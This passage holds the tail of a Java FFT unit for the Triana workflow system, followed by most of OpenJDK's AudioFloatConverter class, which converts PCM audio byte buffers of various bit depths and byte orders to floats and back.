// addGUILine("For 1D transform, optimize for: $title opt Choice MaximumSpeed MinimumStorage");
// addGUILine("For 1D transform, apply this window to the data: $title WindowFunction Choice " + SigAnalWindows
// .listOfWindows());
// addGUILine("For 1D transform, pad input with zeros to a power of 2: $title padding Checkbox false");
// }
/**
* Called when the reset button is pressed within the MainTriana Window
*/
public void reset() {
super.reset();
}
/**
* Called when the stop button is pressed within the MainTriana Window
*/
public void stopping() {
super.stopping();
}
/**
* Called when the start button is pressed within the MainTriana Window
*/
// public void starting() {
// super.starting();
// }
//
// /**
// * Saves FFT's parameters.
// */
// public void saveParameters() {
// saveParameter("style", style);
// saveParameter("opt", opt);
// saveParameter("WindowFunction", WindowFunction);
// saveParameter("padding", padding);
// }
/**
* Used to set each of FFT's parameters.
*/
public void parameterUpdate(String name, Object value) {
//updateGUIParameter(name, value);
if (name.equals("style")) {
style = (String) value;
}
if (name.equals("opt")) {
opt = (String) value;
}
if (name.equals("WindowFunction")) {
WindowFunction = (String) value;
}
if (name.equals("padding")) {
padding = Str.strToBoolean((String) value);
}
}
/**
* @return a string containing the names of the types allowed to be input to FFT, each separated by a white space.
*/
// public String inputTypes() {
// return "MultipleAudio VectorType MatrixType";
// }
//
// /**
// * @return a string containing the names of the types output from FFT, each separated by a white space.
// */
// public String outputTypes() {
// return "ComplexSpectrum Spectrum ComplexSampleSet SampleSet Spectrum2D MatrixType";
// }
public String[] getInputTypes() {
return new String[]{"triana.types.audio.MultipleAudio", "triana.types.VectorType", "triana.types.MatrixType"};
}
public String[] getOutputTypes() {
return new String[]{"triana.types.audio.MultipleAudio", "triana.types.ComplexSpectrum", "triana.types.Spectrum", "triana.types.SampleSet", "triana.types.Spectrum2D", "triana.types.MatrixType"};
}
/**
* This returns a <b>brief!</b> description of what the unit does. The text here is shown in a pop up window when
* the user puts the mouse over the unit icon for more than a second.
*/
public String getPopUpDescription() {
return "Performs a Fast Fourier Transform or its inverse.";
}
/**
* @returns the location of the help file for this unit.
*/
public String getHelpFile() {
return "fft.html";
}
}
| |
/*
* Copyright (c) 2007, 2010, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.media.sound;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.DoubleBuffer;
import java.nio.FloatBuffer;
import javax.sound.sampled.AudioFormat;
import javax.sound.sampled.AudioFormat.Encoding;
/**
* This class is used to convert between 8,16,24,32,32+ bit signed/unsigned
* big/litle endian fixed/floating point byte buffers and float buffers.
*
* @author Karl Helgason
*/
public abstract class AudioFloatConverter {
/***************************************************************************
*
* LSB Filter, used filter least significant byte in samples arrays.
*
* Is used filter out data in lsb byte when SampleSizeInBits is not
* dividable by 8.
*
**************************************************************************/
private static class AudioFloatLSBFilter extends AudioFloatConverter {
private AudioFloatConverter converter;
final private int offset;
final private int stepsize;
final private byte mask;
private byte[] mask_buffer;
public AudioFloatLSBFilter(AudioFloatConverter converter,
AudioFormat format) {
int bits = format.getSampleSizeInBits();
boolean bigEndian = format.isBigEndian();
this.converter = converter;
stepsize = (bits + 7) / 8;
offset = bigEndian ? (stepsize - 1) : 0;
int lsb_bits = bits % 8;
if (lsb_bits == 0)
mask = (byte) 0x00;
else if (lsb_bits == 1)
mask = (byte) 0x80;
else if (lsb_bits == 2)
mask = (byte) 0xC0;
else if (lsb_bits == 3)
mask = (byte) 0xE0;
else if (lsb_bits == 4)
mask = (byte) 0xF0;
else if (lsb_bits == 5)
mask = (byte) 0xF8;
else if (lsb_bits == 6)
mask = (byte) 0xFC;
else if (lsb_bits == 7)
mask = (byte) 0xFE;
else
mask = (byte) 0xFF;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
byte[] ret = converter.toByteArray(in_buff, in_offset, in_len,
out_buff, out_offset);
int out_offset_end = in_len * stepsize;
for (int i = out_offset + offset; i < out_offset_end; i += stepsize) {
out_buff[i] = (byte) (out_buff[i] & mask);
}
return ret;
}
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
if (mask_buffer == null || mask_buffer.length < in_buff.length)
mask_buffer = new byte[in_buff.length];
System.arraycopy(in_buff, 0, mask_buffer, 0, in_buff.length);
int in_offset_end = out_len * stepsize;
for (int i = in_offset + offset; i < in_offset_end; i += stepsize) {
mask_buffer[i] = (byte) (mask_buffer[i] & mask);
}
float[] ret = converter.toFloatArray(mask_buffer, in_offset,
out_buff, out_offset, out_len);
return ret;
}
}
/***************************************************************************
*
* 64 bit float, little/big-endian
*
**************************************************************************/
// PCM 64 bit float, little-endian
private static class AudioFloatConversion64L extends AudioFloatConverter {
ByteBuffer bytebuffer = null;
DoubleBuffer floatbuffer = null;
double[] double_buff = null;
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int in_len = out_len * 8;
if (bytebuffer == null || bytebuffer.capacity() < in_len) {
bytebuffer = ByteBuffer.allocate(in_len).order(
ByteOrder.LITTLE_ENDIAN);
floatbuffer = bytebuffer.asDoubleBuffer();
}
bytebuffer.position(0);
floatbuffer.position(0);
bytebuffer.put(in_buff, in_offset, in_len);
if (double_buff == null
|| double_buff.length < out_len + out_offset)
double_buff = new double[out_len + out_offset];
floatbuffer.get(double_buff, out_offset, out_len);
int out_offset_end = out_offset + out_len;
for (int i = out_offset; i < out_offset_end; i++) {
out_buff[i] = (float) double_buff[i];
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int out_len = in_len * 8;
if (bytebuffer == null || bytebuffer.capacity() < out_len) {
bytebuffer = ByteBuffer.allocate(out_len).order(
ByteOrder.LITTLE_ENDIAN);
floatbuffer = bytebuffer.asDoubleBuffer();
}
floatbuffer.position(0);
bytebuffer.position(0);
if (double_buff == null || double_buff.length < in_offset + in_len)
double_buff = new double[in_offset + in_len];
int in_offset_end = in_offset + in_len;
for (int i = in_offset; i < in_offset_end; i++) {
double_buff[i] = in_buff[i];
}
floatbuffer.put(double_buff, in_offset, in_len);
bytebuffer.get(out_buff, out_offset, out_len);
return out_buff;
}
}
// PCM 64 bit float, big-endian
private static class AudioFloatConversion64B extends AudioFloatConverter {
ByteBuffer bytebuffer = null;
DoubleBuffer floatbuffer = null;
double[] double_buff = null;
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int in_len = out_len * 8;
if (bytebuffer == null || bytebuffer.capacity() < in_len) {
bytebuffer = ByteBuffer.allocate(in_len).order(
ByteOrder.BIG_ENDIAN);
floatbuffer = bytebuffer.asDoubleBuffer();
}
bytebuffer.position(0);
floatbuffer.position(0);
bytebuffer.put(in_buff, in_offset, in_len);
if (double_buff == null
|| double_buff.length < out_len + out_offset)
double_buff = new double[out_len + out_offset];
floatbuffer.get(double_buff, out_offset, out_len);
int out_offset_end = out_offset + out_len;
for (int i = out_offset; i < out_offset_end; i++) {
out_buff[i] = (float) double_buff[i];
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int out_len = in_len * 8;
if (bytebuffer == null || bytebuffer.capacity() < out_len) {
bytebuffer = ByteBuffer.allocate(out_len).order(
ByteOrder.BIG_ENDIAN);
floatbuffer = bytebuffer.asDoubleBuffer();
}
floatbuffer.position(0);
bytebuffer.position(0);
if (double_buff == null || double_buff.length < in_offset + in_len)
double_buff = new double[in_offset + in_len];
int in_offset_end = in_offset + in_len;
for (int i = in_offset; i < in_offset_end; i++) {
double_buff[i] = in_buff[i];
}
floatbuffer.put(double_buff, in_offset, in_len);
bytebuffer.get(out_buff, out_offset, out_len);
return out_buff;
}
}
/***************************************************************************
*
* 32 bit float, little/big-endian
*
**************************************************************************/
// PCM 32 bit float, little-endian
private static class AudioFloatConversion32L extends AudioFloatConverter {
ByteBuffer bytebuffer = null;
FloatBuffer floatbuffer = null;
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int in_len = out_len * 4;
if (bytebuffer == null || bytebuffer.capacity() < in_len) {
bytebuffer = ByteBuffer.allocate(in_len).order(
ByteOrder.LITTLE_ENDIAN);
floatbuffer = bytebuffer.asFloatBuffer();
}
bytebuffer.position(0);
floatbuffer.position(0);
bytebuffer.put(in_buff, in_offset, in_len);
floatbuffer.get(out_buff, out_offset, out_len);
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int out_len = in_len * 4;
if (bytebuffer == null || bytebuffer.capacity() < out_len) {
bytebuffer = ByteBuffer.allocate(out_len).order(
ByteOrder.LITTLE_ENDIAN);
floatbuffer = bytebuffer.asFloatBuffer();
}
floatbuffer.position(0);
bytebuffer.position(0);
floatbuffer.put(in_buff, in_offset, in_len);
bytebuffer.get(out_buff, out_offset, out_len);
return out_buff;
}
}
// PCM 32 bit float, big-endian
private static class AudioFloatConversion32B extends AudioFloatConverter {
ByteBuffer bytebuffer = null;
FloatBuffer floatbuffer = null;
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int in_len = out_len * 4;
if (bytebuffer == null || bytebuffer.capacity() < in_len) {
bytebuffer = ByteBuffer.allocate(in_len).order(
ByteOrder.BIG_ENDIAN);
floatbuffer = bytebuffer.asFloatBuffer();
}
bytebuffer.position(0);
floatbuffer.position(0);
bytebuffer.put(in_buff, in_offset, in_len);
floatbuffer.get(out_buff, out_offset, out_len);
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int out_len = in_len * 4;
if (bytebuffer == null || bytebuffer.capacity() < out_len) {
bytebuffer = ByteBuffer.allocate(out_len).order(
ByteOrder.BIG_ENDIAN);
floatbuffer = bytebuffer.asFloatBuffer();
}
floatbuffer.position(0);
bytebuffer.position(0);
floatbuffer.put(in_buff, in_offset, in_len);
bytebuffer.get(out_buff, out_offset, out_len);
return out_buff;
}
}
/***************************************************************************
*
* 8 bit signed/unsigned
*
**************************************************************************/
// PCM 8 bit, signed
private static class AudioFloatConversion8S extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++)
out_buff[ox++] = in_buff[ix++] * (1.0f / 127.0f);
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++)
out_buff[ox++] = (byte) (in_buff[ix++] * 127.0f);
return out_buff;
}
}
// PCM 8 bit, unsigned
private static class AudioFloatConversion8U extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++)
out_buff[ox++] = ((in_buff[ix++] & 0xFF) - 127)
* (1.0f / 127.0f);
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++)
out_buff[ox++] = (byte) (127 + in_buff[ix++] * 127.0f);
return out_buff;
}
}
/***************************************************************************
*
* 16 bit signed/unsigned, little/big-endian
*
**************************************************************************/
// PCM 16 bit, signed, little-endian
private static class AudioFloatConversion16SL extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int len = out_offset + out_len;
for (int ox = out_offset; ox < len; ox++) {
out_buff[ox] = ((short) ((in_buff[ix++] & 0xFF) |
(in_buff[ix++] << 8))) * (1.0f / 32767.0f);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ox = out_offset;
int len = in_offset + in_len;
for (int ix = in_offset; ix < len; ix++) {
int x = (int) (in_buff[ix] * 32767.0);
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
}
return out_buff;
}
}
// PCM 16 bit, signed, big-endian
private static class AudioFloatConversion16SB extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
out_buff[ox++] = ((short) ((in_buff[ix++] << 8) |
(in_buff[ix++] & 0xFF))) * (1.0f / 32767.0f);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * 32767.0);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
}
return out_buff;
}
}
// PCM 16 bit, unsigned, little-endian
private static class AudioFloatConversion16UL extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8);
out_buff[ox++] = (x - 32767) * (1.0f / 32767.0f);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = 32767 + (int) (in_buff[ix++] * 32767.0);
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
}
return out_buff;
}
}
// PCM 16 bit, unsigned, big-endian
private static class AudioFloatConversion16UB extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 8) | (in_buff[ix++] & 0xFF);
out_buff[ox++] = (x - 32767) * (1.0f / 32767.0f);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = 32767 + (int) (in_buff[ix++] * 32767.0);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
}
return out_buff;
}
}
/***************************************************************************
*
* 24 bit signed/unsigned, little/big-endian
*
**************************************************************************/
// PCM 24 bit, signed, little-endian
private static class AudioFloatConversion24SL extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8)
| ((in_buff[ix++] & 0xFF) << 16);
if (x > 0x7FFFFF)
x -= 0x1000000;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFF);
if (x < 0)
x += 0x1000000;
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) (x >>> 16);
}
return out_buff;
}
}
// PCM 24 bit, signed, big-endian
private static class AudioFloatConversion24SB extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 16)
| ((in_buff[ix++] & 0xFF) << 8) | (in_buff[ix++] & 0xFF);
if (x > 0x7FFFFF)
x -= 0x1000000;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFF);
if (x < 0)
x += 0x1000000;
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
}
return out_buff;
}
}
// PCM 24 bit, unsigned, little-endian
private static class AudioFloatConversion24UL extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8)
| ((in_buff[ix++] & 0xFF) << 16);
x -= 0x7FFFFF;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFF);
x += 0x7FFFFF;
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) (x >>> 16);
}
return out_buff;
}
}
// PCM 24 bit, unsigned, big-endian
private static class AudioFloatConversion24UB extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 16)
| ((in_buff[ix++] & 0xFF) << 8) | (in_buff[ix++] & 0xFF);
x -= 0x7FFFFF;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFF);
x += 0x7FFFFF;
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
}
return out_buff;
}
}
/***************************************************************************
*
* 32 bit signed/unsigned, little/big-endian
*
**************************************************************************/
// PCM 32 bit, signed, little-endian
private static class AudioFloatConversion32SL extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8) |
((in_buff[ix++] & 0xFF) << 16) |
((in_buff[ix++] & 0xFF) << 24);
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 24);
}
return out_buff;
}
}
// PCM 32 bit, signed, big-endian
private static class AudioFloatConversion32SB extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 24) |
((in_buff[ix++] & 0xFF) << 16) |
((in_buff[ix++] & 0xFF) << 8) | (in_buff[ix++] & 0xFF);
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
out_buff[ox++] = (byte) (x >>> 24);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
}
return out_buff;
}
}
// PCM 32 bit, unsigned, little-endian
private static class AudioFloatConversion32UL extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8) |
((in_buff[ix++] & 0xFF) << 16) |
((in_buff[ix++] & 0xFF) << 24);
x -= 0x7FFFFFFF;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
x += 0x7FFFFFFF;
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 24);
}
return out_buff;
}
}
// PCM 32 bit, unsigned, big-endian
private static class AudioFloatConversion32UB extends AudioFloatConverter {
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 24) |
((in_buff[ix++] & 0xFF) << 16) |
((in_buff[ix++] & 0xFF) << 8) | (in_buff[ix++] & 0xFF);
x -= 0x7FFFFFFF;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
x += 0x7FFFFFFF;
out_buff[ox++] = (byte) (x >>> 24);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
}
return out_buff;
}
}
/***************************************************************************
*
* 32+ bit signed/unsigned, little/big-endian
*
**************************************************************************/
// PCM 32+ bit, signed, little-endian
private static class AudioFloatConversion32xSL extends AudioFloatConverter {
final int xbytes;
public AudioFloatConversion32xSL(int xbytes) {
this.xbytes = xbytes;
}
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
ix += xbytes;
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8)
| ((in_buff[ix++] & 0xFF) << 16)
| ((in_buff[ix++] & 0xFF) << 24);
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
for (int j = 0; j < xbytes; j++) {
out_buff[ox++] = 0;
}
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 24);
}
return out_buff;
}
}
// PCM 32+ bit, signed, big-endian
private static class AudioFloatConversion32xSB extends AudioFloatConverter {
final int xbytes;
public AudioFloatConversion32xSB(int xbytes) {
this.xbytes = xbytes;
}
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 24)
| ((in_buff[ix++] & 0xFF) << 16)
| ((in_buff[ix++] & 0xFF) << 8)
| (in_buff[ix++] & 0xFF);
ix += xbytes;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
out_buff[ox++] = (byte) (x >>> 24);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
for (int j = 0; j < xbytes; j++) {
out_buff[ox++] = 0;
}
}
return out_buff;
}
}
// PCM 32+ bit, unsigned, little-endian
private static class AudioFloatConversion32xUL extends AudioFloatConverter {
final int xbytes;
public AudioFloatConversion32xUL(int xbytes) {
this.xbytes = xbytes;
}
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
ix += xbytes;
int x = (in_buff[ix++] & 0xFF) | ((in_buff[ix++] & 0xFF) << 8)
| ((in_buff[ix++] & 0xFF) << 16)
| ((in_buff[ix++] & 0xFF) << 24);
x -= 0x7FFFFFFF;
out_buff[ox++] = x * (1.0f / (float)0x7FFFFFFF);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * (float)0x7FFFFFFF);
x += 0x7FFFFFFF;
for (int j = 0; j < xbytes; j++) {
out_buff[ox++] = 0;
}
out_buff[ox++] = (byte) x;
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 24);
}
return out_buff;
}
}
// PCM 32+ bit, unsigned, big-endian
private static class AudioFloatConversion32xUB extends AudioFloatConverter {
final int xbytes;
public AudioFloatConversion32xUB(int xbytes) {
this.xbytes = xbytes;
}
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < out_len; i++) {
int x = ((in_buff[ix++] & 0xFF) << 24) |
((in_buff[ix++] & 0xFF) << 16) |
((in_buff[ix++] & 0xFF) << 8) | (in_buff[ix++] & 0xFF);
ix += xbytes;
x -= 2147483647;
out_buff[ox++] = x * (1.0f / 2147483647.0f);
}
return out_buff;
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff, int out_offset) {
int ix = in_offset;
int ox = out_offset;
for (int i = 0; i < in_len; i++) {
int x = (int) (in_buff[ix++] * 2147483647.0);
x += 2147483647;
out_buff[ox++] = (byte) (x >>> 24);
out_buff[ox++] = (byte) (x >>> 16);
out_buff[ox++] = (byte) (x >>> 8);
out_buff[ox++] = (byte) x;
for (int j = 0; j < xbytes; j++) {
out_buff[ox++] = 0;
}
}
return out_buff;
}
}
public static AudioFloatConverter getConverter(AudioFormat format) {
AudioFloatConverter conv = null;
if (format.getFrameSize() == 0)
return null;
if (format.getFrameSize() !=
((format.getSampleSizeInBits() + 7) / 8) * format.getChannels()) {
return null;
}
if (format.getEncoding().equals(Encoding.PCM_SIGNED)) {
if (format.isBigEndian()) {
if (format.getSampleSizeInBits() <= 8) {
conv = new AudioFloatConversion8S();
} else if (format.getSampleSizeInBits() > 8 &&
format.getSampleSizeInBits() <= 16) {
conv = new AudioFloatConversion16SB();
} else if (format.getSampleSizeInBits() > 16 &&
format.getSampleSizeInBits() <= 24) {
conv = new AudioFloatConversion24SB();
} else if (format.getSampleSizeInBits() > 24 &&
format.getSampleSizeInBits() <= 32) {
conv = new AudioFloatConversion32SB();
} else if (format.getSampleSizeInBits() > 32) {
conv = new AudioFloatConversion32xSB(((format
.getSampleSizeInBits() + 7) / 8) - 4);
}
} else {
if (format.getSampleSizeInBits() <= 8) {
conv = new AudioFloatConversion8S();
} else if (format.getSampleSizeInBits() > 8 &&
format.getSampleSizeInBits() <= 16) {
conv = new AudioFloatConversion16SL();
} else if (format.getSampleSizeInBits() > 16 &&
format.getSampleSizeInBits() <= 24) {
conv = new AudioFloatConversion24SL();
} else if (format.getSampleSizeInBits() > 24 &&
format.getSampleSizeInBits() <= 32) {
conv = new AudioFloatConversion32SL();
} else if (format.getSampleSizeInBits() > 32) {
conv = new AudioFloatConversion32xSL(((format
.getSampleSizeInBits() + 7) / 8) - 4);
}
}
} else if (format.getEncoding().equals(Encoding.PCM_UNSIGNED)) {
if (format.isBigEndian()) {
if (format.getSampleSizeInBits() <= 8) {
conv = new AudioFloatConversion8U();
} else if (format.getSampleSizeInBits() > 8 &&
format.getSampleSizeInBits() <= 16) {
